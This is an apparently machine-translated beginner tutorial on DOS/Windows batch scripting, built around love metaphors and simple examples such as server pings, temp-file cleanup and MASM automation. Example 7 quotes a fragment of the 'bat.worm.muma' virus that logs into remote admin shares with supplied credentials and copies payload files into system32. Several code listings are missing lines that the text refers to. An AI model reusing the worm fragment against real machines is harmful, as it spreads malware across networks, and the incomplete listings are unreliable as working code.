This is a technical course. I will express myself clearly in very simple words. If you want to read, you can understand and learn knowledge. The purpose of writing this tutorial is to make every friend who has read these words remember one sentence: if love can make things easier, then make it easier! The way to see this tutorial is to be slow! Slowly, like tasting a woman or a cup of tea, you will find that many things in front of you suddenly become very far away, while some very far away things suddenly return to your eyes.
Let’s first outline what batch processing is. So far, I haven’t been able to give an appropriate definition of batch processing — many experts haven’t given it — anyway, I don’t know — I’m not convinced after reading it — I’m a rookie, not to mention of course; But I want to sum up a “more appropriate”, and I believe I can explain it clearly, so that more rookies can know what this is and what you can do with it. Maybe you will “unconditionally fall in love with batch processing” because of this article, so my goal is achieved – I just want you to fall in love with it, I just drag it, what can you do?? Really, sometimes love is so drag, it is so no reason, it is so shameless! really
According to my understanding, the essence of batch processing is a collection of DOS commands arranged in a certain order.
OK,never claver and get to Business (talk less and get down to business). Batch, also known as batch script, is translated into English as batch. The first three letters of the suffix bat of the batch file are taken. There is no fixed format for its composition. It is OK as long as the following is observed: each line can be regarded as a command, and each command can contain multiple subcommands. It is executed from the first line to the end of the last line. Its running platform is DOS. Batch processing has a very distinctive feature: easy to use, flexible, powerful function and high degree of automation. I don’t want my tutorial to be boring, because the problem involving the code (is the content of batch processing code?) is boring. Few people can calm down in the face of full screen code. So I will use many simple and practical examples to let the friends who read this tutorial experience the radiant charm of batch processing, feel its ancient and strange character, and unconsciously fall in love with batch processing (dizzy, how is love? What is the relationship between batch processing and love? Answer: no!). Another “gossip”: to learn batch processing well, the DOS foundation must be strong! Of course, brain flexibility is also a very important aspect.
Example 1: first, give an easy batch script to make everyone familiar with it, save the following lines of commands as name.bat, and then execute them (only the code will be given later, and the saving and execution methods are similar):
ping sz.tencent.com > a.txt
ping sz1.tencent.com >> a.txt
ping sz2.tencent.com >> a.txt
ping sz3.tencent.com >> a.txt
ping sz4.tencent.com >> a.txt
ping sz5.tencent.com >> a.txt
ping sz6.tencent.com >> a.txt
ping sz7.tencent.com >> a.txt
Can you understand it? Isn’t it easy? But its function is very practical. After executing this batch, you can create a file named a.txt on your current disk. The information recorded in it can help you quickly find the fastest QQ server, so as to stay away from the painful process of “transferring from the server”. Here > > means to put the things obtained from the previous command in the place given later. The function of > > is the same as that of > >. The difference is to append the result to the result obtained from the previous line, specifically to the next line, and the result obtained from the previous line will be retained. This can make the a.txt file larger and larger (think of how to destroy?). By the Way, this batch processing can also be combined with other commands to make a completely automatic judgment of the server speed. After execution, it directly displays the fastest server IP. Isn’t it cool? It will also be described in detail later.
Example 2: give another outdated example (a.bat):
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
Why is this an outdated example? Very simple, because now almost no one uses QQ with advertising (Kao, my QQ also shows the circumference of friends!!), so it can hardly be used. But once its role was not to be overlooked: delete QQ advertisements and make the dialog box clean. The address used here is the default installation address of QQ. The default batch file name is a.bat. Of course, you can modify it yourself according to the situation. The if command is used in this script, so that it can timely judge and delete advertising pictures. You only need not close the DOS window after the command is executed and press Ctrl + C to forcibly terminate the command. It will always monitor whether there are advertising pictures (QQ will also constantly check whether its own advertisements are deleted). Of course, this script takes up a little memory, ha ha.
Example 3: use the batch script to check whether there is a glacier. The script is as follows:
netstat -a -n > a.txt
type a.txt | find “7626” && echo “Congratulations! You have infected GLACIER!”
pause & exit
Here, the netstat command is used to check the status of all network ports. As long as you know the ports used by common Trojans, you can easily judge whether they have been frozen. However, this is not certain, because the glacier’s default port 7626 can be modified. What is introduced here is only methods and ideas. What is introduced here is the method and idea. If you change it a little, it will become a script that can check other Trojans. If you change it again, it will become a script that can automatically detect all Trojans after adding parameters, ports and information list files. Hehe, isn’t it fun? The script also uses the combined Command & & and pipeline command |, which will be described in detail later.
Example 4: automatically remove system garbage by batch processing. The script is as follows:
if exist c:\windows\temp\*.* del c:\windows\temp\*.*
if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.*
if exist c:\windows\History\*.* del c:\windows\History\*.*
if exist c:\windows\recent\*.* del c:\windows\recent\*.*
Save the above script contents to autoexec.bat, and automatically delete the system garbage every time you start up. Two points need to be noted here: first, DOS does not support long file names, so tempor ~ 1 appears; 2、 It can be changed according to its actual situation to make it meet its own requirements.
Well, see here, are you already interested in batch scripts? Do you find yourself slowly falling in love with this thing? Don’t be happy too early. Love is not a simple thing. It may bring you happiness and happiness. Of course, it can also make you want to jump from a building in pain. If you know it’s hard and dare to continue, i I’m impressed YOU！ Keep working hard. Maybe you don’t necessarily get true love in the end (it’s really possible, and everyone who has loved knows it), but you can experience the whole process of love, that’s it. Sour, bitter and spicy, there is no sweet God knows.
Why is batch processing related to love? It’s not because I’m bored, nor because it’s interesting to write like this. There are two reasons: first, batch processing and love have a lot in common. In some places, I can’t explain clearly in “professional” jargon (I don’t doubt my expression ability, but it’s hard to explain the thing itself). Said = didn’t say, but use the metaphor of love that everyone on earth knows (what is love? I * * how do you know!!), maybe you’ll get twice the result with half the effort. Why not? Second, I’m not in a good state these days. I have a cold, fever, headache and stuffy nose, but I’m mainly emotionally devastated. People are tired of it. When I write the tutorial, I sigh a few words. Everyone should buy dog skin plaster, which can be omitted (maybe it’s really effective — you won’t fall asleep and knock your head and come to me for reimbursement of medical expenses). Maybe you’ll see the heroes written by elder Jin such as Yang Guo and Zhang Wuji in the next tutorial.
Friends who have read the first chapter must have a preliminary impression of batch processing and know what it is used for. But do you know the essence of using batch processing? In fact, it’s very simple: be flexible! Nothing is impossible, only unexpected. This is a little different from love, because the world of love is a world of two people. Wishful thinking is not called love (add: it’s called single love. Nonsense!) while batch processing is a paradise for one person. You can do whatever you want, and there is no realm you can’t reach!
Batch processing looks messy, but its logic is absolutely no lower than that of other programming languages (such as assembly). If the script you write is a pile of chaos, although each line of commands is correct, you may not get the results you want from the beginning to the end, perhaps a screen bad command or fail name。 This has something in common with love: operate according to steps, and the lack or increase of steps may lead to unwanted results. A friend who falls in love, I believe there is no doubt about this sentence. My love batch, the output result is not bad command or fail Name, the screen shows this: ‘your love’ is not an internal or external command, nor is it a runnable program or batch file. Then the cursor kept flashing, waiting for the next wrong input.
Starting from this chapter, we will introduce the commands commonly used in batch processing from simple to deep. Many common DOS commands are widely used in batch scripts. They are the body part of batch scripts, but batch processing is more flexible and automatic than DOS. To learn batch processing well, DOS must have a solid foundation. Here are only some DOS commands that are rarely used (relatively speaking). Common commands such as copy and dir are not introduced (these seemingly simple commands are actually very complex, and I’m afraid I can’t explain them clearly!).
Example 5, let’s look at an example first. This is a very interesting script, a small and practical good Dongdong, which reflects the characteristics of batch processing “automation” incisively and vividly. Let’s first introduce the origin of this script: we all know that the computer running process of the assembler (MASM) needs to assemble and connect the source code before execution, and there are many links that need to input a lot of things, which is very troublesome (only experienced friends can understand it). How to make this process simple? When we were engaged in the compilation course design, I was “forced” to write this script, which was very cool to use, ha ha. Look at the script:
echo This programme is to make the MASM programme automate
echo Edit by CODERED
echo Mailto me : email@example.com
if “%1″==”” goto usage
::if input without paramater goto usage
if “%1″==”/?” goto usage
::if paramater is “/?” goto usage
if “%1″==”help” goto usage
::if paramater is “help” goto usage
::pause to see usage
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj & %1
::else link the .obj file and execute the .exe file
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
Don’t be frightened by this pile of things. Calm down and look carefully (think back to how the first paragraph in the first chapter is written!!). The explanation of each command line has been given. The content behind the two colons is the e text explained in the previous line (friends who are afraid of e don’t have to worry. They are all easy. They can understand it at a glance. They really don’t understand. They won’t look up the dictionary. They are so lazy?). They are not displayed during script execution and play no role. There is a colon at the beginning of the penultimate line 5. It’s not a clerical error! The specific functions will be discussed in detail later. In this script, MASM and link are assemblers and linkers. They must be in the current directory together with the edit program and the source code you want to edit (of course, this script, nonsense!). Using this batch script can minimize manual input. In the whole process, you only need to press the Enter key a few times to realize the automatic conversion from assembly source code to executable EXE file, and has the function of intelligent judgment: if there is an error in the source code during assembly (assembly is unsuccessful), the error message will be automatically suspended, And automatically enter the edit source code interface after pressing any key; If the source code assembly is successful, connect and automatically execute the generated EXE file after connection. In addition, due to the simplicity and flexibility of batch commands, this script also has good improvability. Simple modification can meet the computer habits of different friends. Friends who are learning compilation must not forget to practice!
The following commands appear in this script: @, echo,::, pause,: and goto,% and if. This chapter will describe these commands.
Everyone is familiar with this symbol. It is a necessary symbol for email. How can it run into batch processing? Hehe, it’s not its fault. Batch processing is inseparable from it, or it’s not perfect. Its function is to make the execution window not display the command itself (what a tongue twister!). Hehe, to put it more popularly, if there is it at the beginning of the line, the command of this line will not be displayed. In example 5, @ echo in the first line In off, @ is used to make the script not display the following echo when executing Off part. Now you see? Still don’t understand? It doesn’t matter. After reading the introduction of echo command, you will understand it naturally.
Chinese means “feedback” and “echo”. It is actually a switch command, that is, it has only two states: on and off. So there is echo On and echo Off two commands. Executing the echo command directly displays the current echo command status (off or on) Off will turn off echo. All commands behind it will not display the command itself, but only the results after execution, unless echo is executed On command. In example 5, the @ command and echo on the first line The off command is combined to achieve two purposes: not displaying echo The off command itself does not display the command itself in subsequent lines. It’s really a bit messy, but if you practice, you can pack it in three minutes. Will you refund it!
Another use of echo command: it can be used to display information! As the penultimate line in example 5, default BAT file name is Start.bat will be displayed in the window after the script is executed, while the echo command itself will not be displayed (why?).
Another use of echo command 2: you can edit text files directly. Example 6:
echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat
The editing method of the above script content is to enter directly from the command line, and press enter on each line. Finally, an a.bat file will be generated in the current directory, and the result will be obtained by direct execution.
The function of this command is very simple. It is an annotation command, which is equivalent to the REM command in batch script. The content behind it is not displayed during execution and does not play any role, because it is just a comment, which only increases the readability of the script, which is similar to / *… * / in C language. If everyone on earth can understand it, I won’t say much.
Chinese means “pause” (see your workman). I always think it is the simplest command in batch processing, simple and practical. Its function is to pause the current program process and display a line of information: please press any key to continue . .。 In example 5, this command is used twice. The first is to let the user see the program information clearly, and the second is to display the wrong assembly code information (in fact, it is not what it wants to display, but that the MASM program is temporarily stopped when displaying the error information, so as to let you see where your source code is wrong).
5. : and goto
Why combine these two commands? Because they are inseparable, no matter which is less or more, it will make mistakes. Goto is a jump command and: is a label. When the program runs to goto, it will automatically jump to the defined part for execution (is it inseparable?). In example 5, a: appears at the beginning of the penultimate line 5. When the program runs to goto, it will automatically jump to the part of the label definition for execution, and the result is the display of the script usage (usage is the label name). It is not difficult to see that the goto command is to find the place it should jump according to the colon and label name. They are one-to-one correspondence. The goto command is also often used in conjunction with the if command. For the specific usage of these two commands, refer to example 5.
Another use of the goto command is to end the program early. In the middle of the program, use the goto command to jump to a label, and the content of this label is defined as exit. For example:
Here: end is on the last line of the script! In fact, this example is very retarded. You will know if command and combination command later.
Strictly speaking, this percentage sign is not a command. It is just a parameter in batch processing (except for the case where multiple% are used together, which will be described in detail later). However, do not underestimate it because it is just a parameter (see how many places use it in example 5?). Without it, the batch processing function will be reduced by 51%. Look at Example 7:
net use \\%1\ipc$ %3 /u:”%2″
copy 11.BAT \\%1\admin$\system32 /y
copy 13.BAT \\%1\admin$\system32 /y
copy ipc2.BAT \\%1\admin$\system32 /y
copy NWZI.EXE \\%1\admin$\system32 /y
attrib \\%1\admin$\system32\10.bat -r -h -s
The above code is a part of bat.worm.muma virus,% 1 represents IP, 2% represents username and 3% represents password. Execution form: script file name Parameter one Parameter two ……。 Assuming that the script is saved as a.bat, the execution form is as follows: a IP username password。 Here, IP, username and password are three parameters that are indispensable (because the program cannot run correctly, not because the syntax is wrong without the parameters). In this way, during the execution of the script, the script will automatically replace 1%, 2% and 3% with your three parameters in turn (remember, it is in order! It is also a one-to-one correspondence). This achieves the purpose of flexible application (imagine that if IP, username and password are defined in the script directly, the role of the script will be fixed. However, if% is used, different parameters can achieve different purposes. Is it more flexible?).
The use of this parameter will also be described in subsequent chapters. You must be very skilled. It takes a lot of practice and a little hard work!